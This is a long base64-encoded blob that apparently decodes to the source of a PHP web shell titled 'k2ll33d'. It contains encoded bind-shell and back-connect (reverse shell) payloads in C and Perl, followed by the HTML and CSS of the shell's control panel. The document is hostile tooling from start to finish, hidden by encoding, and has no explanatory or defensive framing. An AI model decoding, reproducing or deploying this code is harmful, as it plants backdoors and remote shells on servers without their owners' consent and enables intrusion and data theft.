VEWGlUdmpOZnEvNG9zTERYOUx1OU8xTzJqdmJLNVF4eXdTcmxXWC9BRCtWZkJYeDIvWnUxRDRmM0Z4cTJnSkxxWGh3a3N5Z2JwclFlai8zbC8ydno5VDQ5ZkRPRDVvYkg3Znc5eFhIRjA0NFRHdTFSYUo5SmY4QUIvUDFQRHk5UnMzNDAxbXdUbW8yY0R2WEhZKzVsVTduc2Z3Uy9hTzFqNFZTeDZmZEdYVXZEek5rMndiOTVCbnEwWlAvQUtDZUQ3ZGErNHZBSHhwMHJ4dHBhM21sWDBPcVd1QnZRbkVrUjlIVThxZnJYNWJtVDBxOW9uaVBVdkRlb1IzMmxYMDloZHA5MmFCeXJmUTQ2ajJOZGxLdktubzlVZkNaeHc3aHN4azYxSjhsVHYwZnF2MVg0bjYzMjF4cE90ZktyQzNtUDhMMVcxTHdlNng3MFVPUFVWOEZlRHYyd3RkMHRZNGRlMCtIVmtYajdSQWZJbC9FQUZUK0FGZTUrRHYyNC9DMGFJdDNQZTJhOURGZDI1ZFIrS1pyMEkxNmN1cCthWWpoL01jTTdleTVsM2pyL3dBSDhEMlNmUlpiYzRDL1dxY3RyS2h5RnJqdkVmN2Ivd0FNN1MzZyt6UVh1c1hVbjMwczQvTFZQcTBtUDB6WEk2aCsydDRXYU5tdGZER3FTTmpJVjVZbEg1Z24rVkR4RktMczVGME9HYzR4TUZVcFllVFh5WDROcG5yMFR5UmtaR0RVdDVyZHJvMW5QZVg5MUZhV2tTN3BKcG5DSW85U1R3SytYdGIvQUd2dkVldnpyWmVHZkNzRUZ4S2RzWWtaN3FVbjJWUXZQNEd0cndyOEF2SHZ4VDFPMjFuNG8zMXpGcGtaOHlMUnkyeG45aWk0V01ldjhSOXV0UXNRcHUxTlgvSTZxbkRsYkF4OXJtYzFTajJ1bkoraVgrZWg2NTRVOGZ5L0ZMVkpKZEpXV0R3bGFQc04rNmxXMUdRZFVqQjVFWTd0MWJvTUROZWtpY0lPY1lOWkZobzhXbFdzTnBhd1IyOXRBZ2pqaWpYYXFLT2dBSFNySVYxeHU1WFBldW1LYVd1NTh4aUtrS2svM1VlV0syWFgxYjZ0OWZ3ME55eW4ybmQxUHBYSC9IejR0eC9DMzRaNmhxTWNnWFZic0cwc0VCNTgxZ2ZuK2lqTGZnQjNyb0RlcFp3U1RTeUxGREdwZDNjZ0txZ1pKSlBRVjhCZnRIL0dEL2hhM2piTmxJemFIcG9NRm1Ed0pEbjU1TWY3UkF4N0FWejRpcDdPR203UHBPR2NwZWFZNlBPdjNjTlpmb3ZtL3dBTG5tWmxNckZuWXM3SEpZbkpKcVFFZ2dxeEgwcWlqVllTVEhldm5taituNlZSR2xEcVVzSkc4YmhXbGI2aEhNQmc0UG9hNS96c2pGT1Z4bmc0TlpPQ1o3VkRIMUtUdGU2T3BFdWFjSHpXQkJmdkhnRTdxdlE2Z3JFQThHc1hGbzkramo0Vk4zWTB1OU9xQkpndzRQRlNxd3FHajFJelQySG1rSXBhS2sxYXVSc0tqSzFPUm1tYmNWU1pqS0pEdHBwRlRNS1lWcWpubEFnY1ZHVk5XQ21hRmpwM09aMDIyUnBIVXlydEZLQUZxQzV1bGhVa21sdWFlN1NqZVF0eGNMRXBKTmNwcldxamtBMDdWOWE0SVUxeVY1ZU5PNTVydG8wdXJQenJQYzdTVHBVbVJYdDBaWEl6a1ZVRWVPVFUyd0p5ZXRSdGxqWHBMUldSK1ZWVzV5NXA3aldQUHRSUzdjVVU3blB5dG5xS1FrOXFzeFdoUFdyeXdLdEtTcWRTSzhGeVA2VmhnNHcxa1F4Mm9GVEJBb3FDYStTUHZXWmRhMWdFS2FGRnlDcGljUGhscXpXbHVVaEhKRlpWN3JJVUVMV0xjNmswakg1cXB2S3ptdWlOTHVmTVl2TzVTdkdrV0xxL2FVOG1xbUdjL1dueHdsdW96VnlHMEp4eFcra1Q1dmxxNG1WNUZlT0RQYXJrTnFTZWxYSUxMMnE3SENrWTU2MWpLWjdtSHkvcklyUVdlTWNWY1NOSXV0RFNEdFVSZXNkV2UzQ01LUHdrank1NEhBcUJqbWhwQlVUU0FWU1JsVXFYM1lPQlVURUFVTSthais4YXV4NTg1TG9CeXg0cWFHRFBKcVNHMzZFMUs1QzhDazMwUnRUbzI5NlpFNTdDcElvOWc1KzhhSVk4NVk5TzFXN2FIekd5YWx1eDJVcVRuSzVOYTIrMzVqVU9xM3d0NFNBZVRWeVp4REhucHhYSzZqZEc0bUl6eG1wZ3VaNm5WajhRc0hRNUlic3JnbVJ5N2M1cHk1TFpIQm9VWVhGUGpYbXVvK01qRzU5dmZzcS90TlI2OWFXbmczeFZkQ1BWb2dJOVB2NW00dWxIU055ZitXZzdIK0ljZFI4MzBwcVY2TGRUenlhL0pFeXRDd2RXS3NweUdVNElOZlUzd0wvYXlFOGR0NGY4Y1hPSkZBanR0WWtQRGRnc3g3SC9BRy96OWE5VERZblRrbjk1K1BjVThLOGs1WTNMNDZQV1VWMDg0L3F2dTh2cUs5dUMrU3g2MWhhbmRwR21PR0I0SXEyOXdiMVFZeUdWdVZaVGtFZTFXclB3NEpodW1HZStLOVEvSWo1cStLSDdNK2orTnA1YjdRbEdnNm0rV1pVVE52S2ZkUjkwKzYva2ErY1BHUHdMOGJlQ1dkdFEwUzRsdFYvNWU3TWVkRVI2NVhsZitCQVYrblVlaHhJdkVZeVBhbVRhWXVPSStQcFhMUER3bHF0RDZ6QWNTNDNCcFU1dm5pdWozK1QvQU03bjVHbUZsSkJHQ091YVFJUlg2ZjhBaWo0TytFL0Z4ZHRXOE8yTnpJM1dZd2haUCsrMXczNjE1WnJYN0lIZ0s2a2J5SUwrd09lbHZkRWovd0FmRFZ5dkN6V3p1ZlkwT0xzRE5mdllTaS9rMStuNUh3bnROUFVIdlgyZTM3R0hoSGZrYWxxNEhwNXNmL3hGYkdsL3NpZUFiRXEwOE45ZnNEbkU5eVFQL0hBdFI5V3FNNjN4WGxrRmRPVCtYK2JQaHhWSkl4eWE5TytIUHdQOGIrT1pFZXowOTdDd09NM21vZ3hSWS8yUVJ1Yi9BSUNEWDIxNGIrRlBoUHdvRUdrK0g3RzFrSFNVUWhwUCsrMnkzNjEyQXNRaURqazloV3NjR244YlBIeEhHOVNQKzQwK1Y5Mi8wWCtacC9DeUx3bjRGMERUOU5qOFBXRmxjUVFKRE5mV2x1cVNUTUZBWjJiN3h5Y25rbnJYcEMyZWo2dW02MnVFSkkrNjNCcnlxSzEyL2VIRldvaThSQlZpcDlqWG9wS0tzajgxclZxbUltNnRXVGNudTJkemVlRUFDU2dERDFXdWUxalI0ZEl0TGk2dkpvclcxaFF5U1RUTUVSRkhVa25nQ3FjdmpPYlFMU2E3dTc1TGF6aFV2Sk5jT0ZSRkhVa25nQ3ZoMzlxVDlwZWI0dGEzRnBPajNjNDhNV1F3UU1vdDNMbm1RanVvR0F1ZmM5NndyVmxTamZxZTVrbVRWYzV4S3BSZkxCZkZLMTB2K0MraUx2N1IzN1I2K0xVdWZDL2hTVjEwVW5aZDZnTXFidkg4Q0R0SDZucTNzT3Z6Y0ZLMU9ad2M4VXd5RDJydzUxSlZKYzBqK2lNQmxtRnl1Z3FHR1ZrdXZWdnUvTVFaRk9EVkd6aWplS2l4Nktra1RoeUR6elVxeUFHcVpseFI1MkJTc2F4ckpGOFM3VG1wQk9HNzRyTzgvaWhaZmVwNVRvV0t0c2JscmViQ0FXclVndkZZY211VVc0cVpMd3FCeldVcWR6Mk1QbWJwNk03QlpsUGVuaHg2MXkwZXBNUDRxbmoxWWpxYXlkTm52VTgzcFBjNlBJTkhCckRYVnZVMDhhc01kYWprWjFyTXFNdXBya0NrSUdLeVRyQUhlbVByS2dkYWZJeVpaaGgrNXJFcUtqZVpVSEpBckJuMTBBSEJyTHU5Y2RzNE5hUnBObms0ak82RkphSFFYdXNSd0tmbTVybDlUMXhwU2NIaXFOeGRTVFp5ZUt6NUpBT3B5YTdLZEZJK0F6TFBLMkl2R0xzaHR4TTh6SEpPS3JzZHZUbW5NNWI2VTBybXV0SHhGU1RtN2tmSjY4MG9XcEFoTlBXRW50VHVaS20yUTdUUlZ5TzF6Mm9wY3gwUndzbjBQUVp0YkdPT0t6cDlZWnllYXlHbkxkNlprc2E0VlRTUDBhdG0xZXIxTGMxKzdrODFXYVF1ZXRDeE0zdFV5VzNyV21pUE1icTFuZGtDeGxqVm1LMUxkcW5qaVZSelV3bVZPbFE1ZGpycFllSzFteDBObUZBSnEwbXlNY0NxZjJqM3BQUHJOcHM5U0ZXblRYdW92L2FPS1F6KzlVUE9vODZseW1uMXRzdW1lbW1ibnJWVXVjMGMwN0V2RU5relNacG00MG1La2lpTEduc1N1YWJzSWlselZ5M3RlaElxYTJ0UUJrMVljaU1WaktYWTllaGhWRmM4eUtYRWE0QnFxRk1qMCtWaTdVOVYySUIvRWFGb1hMOTVMeVE2T1B6R0NyMEZhTWFDTmFpdElkZ3pUcnVZUm9lYXpidWVyUmdxTVBhU00zVjd6YXBVR3NCUnVZazFQZlRtYVU5NlpFbkZkY1Z5bytKeGRaNG11MzBRdUtsUVlHYVFKelNUTnRYSGVqY3pTNVZ6TWduazNNUjJxSGFXTlNGY2lueHB6V214eE5PY3RUMWY0UDhBN1JIaVQ0VnZEYXNSck9ocWVkUHVtT1l4L3dCTTM2cDlPUjdWOXMvQ3o0L2VDdmloSEhGcCtvTFk2b3crYlRiNGlPVUgwWHMvL0FTZm9LL05SdW1LV0ptUnd5a3F3NUJCd1JYUlN4TTZmbWo1WE5lRThCbWJjNHIyZFQrWmRmVmJQOEg1bjYvQzIrWEZNaTA5cmlVTGl2emk4QS90UmZFSHdDc2NFR3NIVnJCTUFXbXFBenFCNkJzaHgrRFlyNkM4Ri84QUJRSFNsS2Y4SkQ0VHU0SlJ3MG1tenJLcDk5cjdjZm1hOUNHTXBTMzBQekhHY0VadGhuKzVpcWkvdXZYN25iOExuMUxlZUY1UEpKMmRzNUZjZnFXa09qNUtrVm1hUiszejhKNzJKWTdtTFhMYlBCYVN4VWdmOTh1VFdpLzdVdndSMWxUdThWUGF0MkUybTNRL1VSbXRsaUtMKzBqeFo4TTUzQlhlRHFQMGkzK1NabHkyanF4SldpS0Z1Y2pCcVM2K05Yd2V1VnpiK09iSWtkcExlNFQvQU5DakZZZDk4YXZoakFjcDQwc0g5TnNjeC9rbFY3YWwvTXZ2Unh2Sk0xV2p3dFQvQU1BbC9rZFJGRUF3eU1tclNSYmxPVjVOZVlYL0FPMHI4TmRKalp6NGpGMFFPRXQ3T2RtUDArUUQ4elhtbmkzOXVUVExaSkl2RGZoKzR2SmVpM0dwT0lrSHZzVXNUK1lxWGlLVWZ0SFRRNGR6YkVTNVk0ZVMvd0FTNVYvNU5ZK21QSXczemNEcm12SlBpZCswdDRQK0hIbTJzTS85dmF3bVI5anNuQlZEL3R5ZEYrZ3lmYXZrYng5KzBINDQrSWF5UTMrcnZhV0w5Ykt3SGt4RWVod2N0L3dJbXZOK2E0cW1NYjBwbysveXpnVlJhcVpqTy84QWRqK3Ivd0F2dk85K0tYeHU4VC9GaTdQOXFYZjJmVFZiTVdtV3hLd3A2RWorTnZkcysySzgrMmdmV3BjY1V4aGozcnozSnlkNUg2aFF3dEhDVTFTb1JVWXJvaG5UM29JR0tSalRDYVJUYVF1Mm1ra1V1NmtKNE5Vakp0ZEF6Um5OUnRubW1Fa0NneGM3RS84QUtscXQ1ckR2UjlwWWU5T3pKOXRGYmxnc2MwN2VSVlQ3V1IybysyZjdORmgrM2d1cGI4NWw3MG91V0I1cW45dUg5Mmo3YUNQdTB1WHlENjFIK1l1L2JENjBqWHJmalZMN1lPdXlrYTk5RkZISjVBOFl2NWk0YnFRakFwck5LM1U0cW1iMlFqakFxRjVwSDZzYXJsTUpZdGQyeTVJNFQ3ejFWa3UxSDNSbW9TaGJyU0dHclVVY0ZTdlVsOEtzTWttZVR2Z1ZHc1pOV0JCVWl3K2xYZEk0L1pTbTd5S2dpSjdWS3R2bnJWdExjbnRWbU8xNmNWRG1kZFBCdVhRcFIydWUxV0lyWG5wVjliY0tPQlNoQU8xWk9kejFxZUNVYlhJRmdDOXFLbmJBR2FLVnpyNUlyUWdXTHVhbVJGRlZoTm1sTTlPeGxHY0k2bHNPcWppZ3kxUzgzSnAyOG1wc2FmV094YU0xSjV0UXJrMG9GT3hYdEpNbEVtYWNHelRBdWFrQ1V0RFdQTXdHYWVxa21sU1BQU3JNY0pOUTNZN0tkTnlJZ2xUSkVXcTFIYkRISXExRmErMVpPVmoxNldEY2luSGJaeHhWNjJ0UU1aRlRMQUJqdFZoVkNpc25LNTdkRENSaTdzaktoQlZTZDhuRldKNWRvTlZNR1JxU0tyeSt6RVNOT1N4NkNwNEkvTmZkamltT01BUmo4YXYyOFlqUVVOaW9VdWFWdWlIbkVhMWhhdGQ4RUExbzM5eUkwTmN6Y3pHV1E4MWRPTjNjNDgxeGFoSDJVU05mbmFyU3J0RlJRUjU1cXpqaXVocytab3dkcnNad295ZWxWbmJjMmFsbWJKeDJxRnFFVFZkOUVBNXFXTVlxTUR2VXk4Q2hrUVd0eHA2MHFqQnpTWXpTcm1nMFc1S3ZKcXhFdURVQ0NyY1k0RlpzOUdpcnN0MnBJWUN0Sk9SV1pDZHJaclFpYklyQ1I5UGhKV1ZtVGJSU2VXcG9EVTRFVm1lb2ttTU1DTndWRlJTYVpCSjFRVlpCcGMwN3NUcFU1cjNrbVpVM2grSnZ1RXJXZmNhRFBIeXVIRmRNR3BldFdxa2tjRlhLc0xWMlZ2UTRxUzNsaE9HUXIrRlFzSzdpU0NPVVlaUWF6YnJRWXBRU255TjdWcXFxNm5oNGpKS2tWZWs3bktPS2pOYXQ3cE0xcWZ1N2w5UldheUhKNHJvVWs5VWZLMTZGU2xMbG1yTWdiSU5OTEUxS3dPTVZFeUVWWjUwazBOTFUwbnZRUnpTWU5NNTIyeHJtb2ljVkt3cU1qbXFSelR1TnptZzB1RFM3YW94czJNeHhTN2FrMlU0SUtWeTFUWkR0Tkd6bXJBVE5PQ1o3VXVZMFZHNVhFZVRUeENUVmxZcWxFQngwelNjam9oaHJsTVEwN3lNOXF2TGJFOXFuanRDZTFRNUhaREJ1WFF6RnRTU09NVllTMDVyUUZxYWtFR08xUTVuYkRBSmJvb3JBRjdWTWtmdFZrUm4wcHJMam1wdWRpb0tKQ1Z4MU5NWWdETkxLM1dxMHJseDZWU1Z6bXFUVWRpSzR1TVVWWGxqWnV4TkZiSkk4S3BVcU9XZ2JmYW5CRFYzN0tmU25DM0E3VkhNanJqaFpkU29rV2FsV0wycXlJZ08xUFdLazVIWEREV0lGaXA2eGZuVmdRMUlzZFE1SGJDZ1FKQ1RVMGNKOUtuU1BQYXJVVUh0V2JrZWpTd3R5Q0cyejJxNUZiWUhTck1OdndQU3JLeDRyRnlQb2FHRFVVUXh3Z0RrVktJd0tmdHhTbjJxTG5xUnBxS0doUUtZN0FBMDUyd0tyU3VUUWlLa2xGYUVFcmIyeFRrWHkwM0doSTl6WnBKVzN1RVdxOGp6Ylc5NWo3V1B6Sk41cTVOSUkwTkpDbmxSaXN6VTd3SUNBYUxjek9xVTFoYVBOTGNvYW5kbG1JQnpXZEVwWnFXUmpLK1RWaTJpejJycVM1VlkrR25LV0pxOHpKWW84Q2lad293S2xZaU5hcHNTeEpxVnFkVlIremp5cmNZYU9LUHJTNHJRNEJWR2FlY0dtampGT0FxV2F4N0NZRlBBeFNEbW5Da2FSUTlCVnFMakZWMEZXWXhVTTlHaWl6RU9hdEljVlZqNHFkVFdMUGRwT3lMQ21ucWFnQnFSVGlwTytNaVVHbHpVVzczb0wwckczT2liTktHcUFOVGcrYUxGS29pZmRTZzVxRUhOU0xTTjR5dU9aUTR3UUNLemIzUW9ibkpVYkc5cTB4UlRUYTJNNjFDbGlJOHRTTnpqN3ZRNTdmSkM3aDZpczE0V1hnZ2cxNkNjRWMxVXVMR0NmNzBZK3RieHJQcWZMNG5JSVBXaksza3poREZnMHd4KzFkYk5vRUxFN0NWcWxMb0RxVHR3d3JaVlV6NTJyazJJcDlMK2h6eGo1NlVua1pOYkQ2VzZIbENLamF4SXhrVmZPanpwWUNvdmlSbG1FK2xIbFZwZllqbkdLUTJUZWxQbVJuOVRrdWhuaUwxcHdpcS85aUlwd3NpZXRITWkxZzU5aWdJNmtXSStsYUNXUHR6VmlPeEo3VkxtZGxQQXpmUXo0YmJkVnlLekJxNnRtUU1nVk9scTFZdVo3TkhBY3U2S2lXcWlwQkdxOXF0cmFtbkMweWVsUnpIcHh3clMwUlJaUFNtbENlQUswMXNoNlU4V1k5S1hPYWZVcHlNanltWURpa05xV0hTdDBXcWp0VGhiS08xTG5ORmx0OTJjNmRMYVE5RG1uSm9oWThpdWpFUUhhbmJRS1BhTXBaUFIza1lTYUF2Y1pvcmNad3Z0UlM1NUcvd0RaMkVqbzRuS2xCdHBqSUtLSzZFZkp5aXJEY1lwd0ZGRk15U0hBWXFhSlFXb29xR2RWSmFvc29vcTlDZzIwVVZsSTkzREpYTFNMeFQ2S0t6UGNqc0llQlRTZUtLS0JTSzhqR3F4SkxkYUtLcEhsVmR5Umo1Y1JJNjBsbWdaaXg2MFVVK2dSMXF4VEpydVV4UjhWeTk1TXp5Tm1paXRhU1BGem1jcnBYMEdRcUdZWnJTaFVLdEZGYVNQTndhVnJsYTRrSmsyMUNmU2lpbWpDcTI1TzRuZWlpaW1ZanNaV25xTUNpaWtieEZwNDZVVVVqVkVxYzRxMGc0b29yTm5wMFNkQnhVdzZVVVZrejE0YkM1eFRnZUtLS1JxbnFCWTBtNmlpZ2QyTk1ocDBiRWlpaW1URnZtTFMxS3ZhaWlzejE0YkQ2UThDaWlnMkkzT0tpZHlLS0thT1dvMlJHWTV4U2VhUlJSVkhBNXk3Z0pOMk1nVTFsUmp5Z29vb1FOM1dwRzlwR3g0R0toa3MxWG5ORkZOTm1NNlVHbTdFWGtxS2Q1SXhSUlZYWnhSaEhzVHcyNjR6MXF5c0NrQ2lpb1BTcFFqWmFFZ2lBcDRqR0tLS2s5Q01WMkhCQm1uQkFLS0tSdEZJY0ZGS0Z4UlJRV2tMaWs3MFVVREVMVkZLNVVFMFVVR0ZSdEl6THU3Y0tjY1VVVVYwUlNzZklZbXJQMm01LzlrPSc7DQokcG9ydF9iaW5kX2JkX2M9ImJWTmhiOW93RVAyT3hIKzRwaEk0TklOQU4wMGFZeEphVzZtYXhxYlNMeE5ES0RpWHhpTFlrVzNLR09wLzN6bE9wbzd4SVk3OTNqdmYgK2ZsOEtTUXZkaW5DUjJOVG9mcjVwM2JyOGhXbWhYdzZCUTltWUE4bG1qTzRVWHlEOW9TUWFBVjlBeUZQQ05SYStwUkNXdGdtUXJKRSBQL0dJaHVmUWcyNDlicmQ0bm1qbzlSeEJxeU5BdXdXT2R2bXlOQUtKK3l3bEJpcmhlcGN0cnVPbFc5TUpkdHpya2pUVkt5RkI0MVpaIGRLVElXS2IwaG9Vd21VQWN3dEZ0NittK0VYS1ZKVnRSSEdBQzA3dlYvZXoyY2Z3dlhTcHRpY3l0a29ZbFZnbFgvZk5pdUF6REU2VkwgM1RmVnJ3NG8yUDFzZW5QenNKck9mb1JqbDljZmhXanZJYXR6UnZOdm43K3M1bzhQdDlPdlVSeldaVjk0ZFFnbGVhZzBDM3dRVkt1ZyBVcTJGVEZuakR6dnhBWHBoeDljWFFmeHI2UGN0aExFby84YThxOEI5TGdwa1E3b09nS01idk5lVGhITXNiU09PNjlJQTBsMDVZcFhrIEhEVDhIeHJWMEY0TGl6VVdmRStNMlN1ZGZnaWlZYk9OeGlTdGVicmd5SWpmcURKRzA3QVdpQXpZQmM5TGl2VTNNVnBHRlYyeDFKNFcgdHl4QW5pdllZOEhWRnNFcVdGKy9mN3NCazJOUlFLY0RBL0p0c0U1TURtOUVVRytNaGNGcWtwWDBIbXhHYnFia2RCVE1sZGFIUnNVTCBaZW9EZU9TRkJ2cGVmQ2ZYaGZsT3BnVGt2SitqdEtpUjd2TG9oWUtDcVMyWm1NUmo0WjVnUVpmU2lNYmk2aXFrZG5IYXJFRVhZdWs2IHVQdFRkdW1zcjBIQzRxNXJyek5pZlY3c0MzWldVbXErTFZsVmE1T2ZRalRhblpZUU8rVWYiOw0KJHBvcnRfYmluZF9iZF9wbD0iWlpKaFQ4SXdFSWEvay9BZmprbGdTMmFBK0JGbUpEQjFjVzVrSFNaR3pUSzJReHBtdTJ3bFlvRC9icnVCSWZpdGQzM3V2WHV2dldyMSBObVhSVzFEV3k3SEltbzAyZWJSZDE5S3ExQ0l1VjNCTnRXR3pRWmVnMzQyRGh4Y1l3Y0NBSGVDV0NuMWdET0VnaTF5SGhMWVh6ZndnIHROcUtldXQveUtKTmlVQjRza1loZzNaZWNNRVRubG1mS0tyejRvZkZYNmgzUlpKM0RVbVVGYW9Uc3pPN2p4elBEczBPOFNkUEVRa0QgZS94cy9na1lzTjlEU2hHMFNjd0VKQVhHQXFHdWZtZHEyaEtGQ25tdTFJanZSa3BINmhFL0N1dzVzY2ZUYVdBT1ZFOXBNNVdNb3VNMCBMU0xLOUhNM3B1TXBOaHA3cjhaRlc1NGpnNXdYeDVZWkxRVXlLWFZ6d2RVWForVDNpbVlvVjlkczdKcU5PRWxRVGpueFBjOGtSclZvIHZhVzNjNXBhUzE2c2pabzZxVEV1UUtVMVVPL1JTbkZKR2FhZ2NGVmJqVVRDcWVPWjJxaWpOTFd6ckQ4UFRlMzJYOW9PZ3ZNMGJqR0IgK2hlY2ZPUUZsVDRVY0xTa21JMWNlWTNWcnBLTXk5ZFdVQ1ZDQmZUbFFYNk93eTg9IjsNCiRiYWNrX2Nvbm5lY3Q9ImZaRlJTOE13RklYZkIvc1BXU3cyaFVybnF5UEMwQ3BEM0tTdHZxaDBYUnBjc0UxS2tvS0YvWGlUdENJVjZ0dTU1K1o4OXlZNVcwU3Qga3RHQjhhaWhzcHJQV2tWQktzZ24xYXY1ekNOMWlRR3NPdjRGYmFrNnBXbU5nVS9KVVFDNGIzbFJVM0JSN09GcWNGaHB0TU9wbzI4aiBTMndoVnVsQ2ZsQ052WFZ5Ly9LNmZMZFdJK1NQY2VrTVZwU2x4SXhUblJkYWNEU0VBbkE2Z1pKUkJHTXBoYndDM3VLTnc4QWhYRUtaIGphM0ltY2xZYWdoNjFuOUpLYlRBaHU3RW9iTjNRYjRtalcvYnlyMEJTbmMzRDNFV2dxZTdmTE8xd2hwNW1pWHgrdEhNY05IcEdVUncgVHNrdnBkOTIrcnhvS0VkcGRydlpoZ0Jlbi9leFVXZjNuRTIxNGlUNTIrci9DdzMvNWphcWhLTDlpRkZwdUtQYXdJTFZOdz09IjsNCiRiYWNrX2Nvbm5lY3RfYz0iWFZIYmFnSXhFSDBYL0lkaGhaTFVXRjFmMVlLSUJlbEZxZlpKbGlVbTJXN29iaUpKTExXbC85NGsyOXJXaHlFemMrWjJUanBTc2VyQSBCWXl0NDFKZmxkZnRWdWMzZDdSOXE5bUxjR2VBRWs1NjYwc1ZBYWtjMUZRcUZCeHFuaGtCVmxJRGw5NS8zV2E0M2Zwb3R5Q0FCUjk1IHp6cHpZQTdDYU1xNXlhVUNLMVZBWXB1cDdYYVlacFBFMU5BcklCbUJSemdWdFZZb0pRTWNSL2pWM3ZLQzFySTZ3Z1NtTi9uaVliNzUgaSsyMWNSNHBuVllXVWFjbGl2Y01NL3h2UkRqaHlzYkhWd2RlMFcrSzB3ekg5YnQzWWZSUGluZ0NsVkNuaW03YS9adUpDMEpUd2YzQSBSa0QwZlIrQjlYSjJtNjgzai9QcFBZSEZhdlc0M0N6enpXeUZJZmJJQWhCaVdpbkJIQ280QVhTbUZseGl1UEIzRTAvZ1hlamlITWNZIGp3Y1lndUlBZTJHTU5palo5akw0R1lxVFNCOUF2RW1IR2prL20xOWgxQ0d2UG9ISVk1QTFPaDJ0RTNYSWUxYnhLdzc3WVR5dDZUMkYgNmY5d0dFUHhKbGlGa3Y1T3FyNHRFNUxZRW5veUlmRHdkSGNYSzFpbHJmQWRVYlBQTHc9PSI7DQo/PjxodG1sPjxoZWFkPjxsaW5rIGhyZWY9J2RhdGE6aW1hZ2UveC1pY29uOzw/cGhwIGVjaG8gJHR1bmlzaWE7Pz4nIHJlbD0naWNvbicgdHlwZT0naW1hZ2UveC1pY29uJyAvPjx0aXRsZT46OiBrMmxsMzNkIDo6PC90aXRsZT4NCjxsaW5rIGhyZWY9J2h0dHA6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PU9yYml0cm9uOjcwMCcgcmVsPSdzdHlsZXNoZWV0JyB0eXBlPSd0ZXh0L2Nzcyc+DQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpmdW5jdGlvbiB0dWthcihsYW1hLGJhcnUpe2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKGxhbWEpLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7DQpkb2N1bWVudC5nZXRFbGVtZW50QnlJZChiYXJ1KS5zdHlsZS5kaXNwbGF5ID0gJ2Jsb2NrJzt9DQo8L3NjcmlwdD48bGluayBocmVmPSdodHRwOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1PcmJpdHJvbjo3MDAnIHJlbD0nc3R5bGVzaGVldCcgdHlwZT0ndGV4dC9jc3MnPjxzdHlsZT4NCi5teWJveHstbW96LWJvcmRlci1yYWRpdXM6IDEwcHg7IGJvcmRlci1yYWRpdXM6IDEwcHg7Ym9yZGVyOjFweCBzb2xpZCAjNEM4M0FGOyBwYWRkaW5nOjRweCAycHg7d2lkdGg6NzAlO2xpbmUtaGVpZ2h0OjI0cHg7fS5teWJveHRibHsgd2lkdGg6NTAlOyB9Ym9keXtiYWNrZ3JvdW5kOiMwMTAxMDE7fSBhIHt0ZXh0LWRlY29yYXRpb246bm9uZTt9IGhyLCBhOmhvdmVye2JvcmRlci1ib3R0b206MXB4IHNvbGlkICM0QzgzQUY7fSAqe3RleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIHJnYigxNTMsIDE1MywgMTUzKTtmb250LXNpemU6MTFweDtmb250LWZhbWlseTpUYWhvbWEsVmVyZGFuYSxBcmlhbDtjb2xvcjojRkZGRkZGO30gLnRhYm5ldHttYXJnaW46MTVweCBhdXRvIDAgYXV0bztib3JkZXI6IDFweCBzb2xpZCAjMzMzMzMzO30gLm1haW4ge3dpZHRoOjEwMCU7fSAuZ2F5YSB7Y29sb3I6ICM4ODg4ODg7fSAudG9we2JvcmRlci1MRUZUOjFweCBzb2xpZCAjZmZmZmZmO2JvcmRlci1SSUdIVDoxcHggc29saWQgI2ZmZmZmZjtmb250LWZhbWlseTp2ZXJkYW5hO31pbnB1dHtiYWNrZ3JvdW5kOiMxMTExMTE7Ym9yZGVyOjE7cGFkZGluZzoycHg7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzIyMjIyMjtib3JkZXItdG9wOjFweCBzb2xpZCAjMjIyMjIyO2ZvbnQtc2l6ZToxMnB4O3ZlcnRpY2FsLWFsaWduOm1pZGRsZTtoZWlnaHQ6MjA7Ym9yZGVyLWxlZnQ6MXB4IHNvbGlkICM1ZDVkNWQ7Ym9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjMTIxMjEyO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICMxMjEyMTI7Ym9yZGVyLXRvcDoxcHggc29saWQgIzVkNWQ1ZDtjb2xvcjojOWY5ZjlmO30gIC5pbnB1dHp7ICBiYWNrZ3JvdW5kOiMxMTExMTE7IGJvcmRlcjowOyBwYWRkaW5nOjJweDsgYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzM5MzkzOTsgZm9udC1zaXplOjExcHg7IGNvbG9yOiNmZmZmZmY7IC1tb3otYm9yZGVyLXJhZGl1czogNnB4OyBib3JkZXItcmFkaXVzOiAxMHB4OyBib3JkZXI6MXB4IHNvbGlkICM0QzgzQUY7bWFyZ2luOjRweCAwIDhweCAwO30gLmlucHV0emJ1dHtiYWNrZ3JvdW5kOiMxMTExMTE7Y29sb3I6IzhmOGY4ZjttYXJnaW46MCA0cHg7Ym9yZGVyOjFweCBzb2xpZCAjNDQ0NDQ0O30gIC5pbnB1dHpidXQ6aG92ZXJ7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzRDODNBRjtib3JkZXItdG9wOjFweCBzb2xpZCAjNEM4M0FGO30uaW5wdXR6OmhvdmVyeyAtbW96LWJvcmRlci1yYWRpdXM6IDZweDsgYm9yZGVyLXJhZGl1czogMTBweDsgYm9yZGVyOjFweCBzb2xpZCAjNEM4M0FGO21hcmdpbjo0cHggMCA4cHggMDtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjNEM4M0FGO2JvcmRlci10b3A6MXB4IHNvbGlkICM0QzgzQUY7fS5vdXRwdXQyIHttYXJnaW46YXV0bztib3JkZXI6MXB4IHNvbGlkICM4ODg4ODg7YmFja2dyb3VuZDojMDAwMDAwO3BhZGRpbmc6MCAycHg7fSB0ZXh0YXJlYXttYXJnaW46YXV0bztib3JkZXI6MnB4IHNvbGlkICM1NTU1NTU7YmFja2dyb3VuZDojMDAwMDAwO3BhZGRpbmc6MCAycHg7fSAub3V0cHV0IHttYXJnaW46YXV0bztib3JkZXI6MXB4IHNvbGlkICMzMDMwMzA7d2lkdGg6MTAwJTtoZWlnaHQ6NDAwcHg7YmFja2dyb3VuZDojMDAwMDAwO3BhZGRpbmc6MCAycHg7fSAuY21kYm94e3dpZHRoOjEwMCU7fS5oZWFkX2luZm97cGFkZGluZzogMCA0cHg7fSAuYjF7Zm9udC1zaXplOjMwcHg7cGFkZGluZzowO2NvbG9yOiM1NTU1NTU7fSAuYjJ7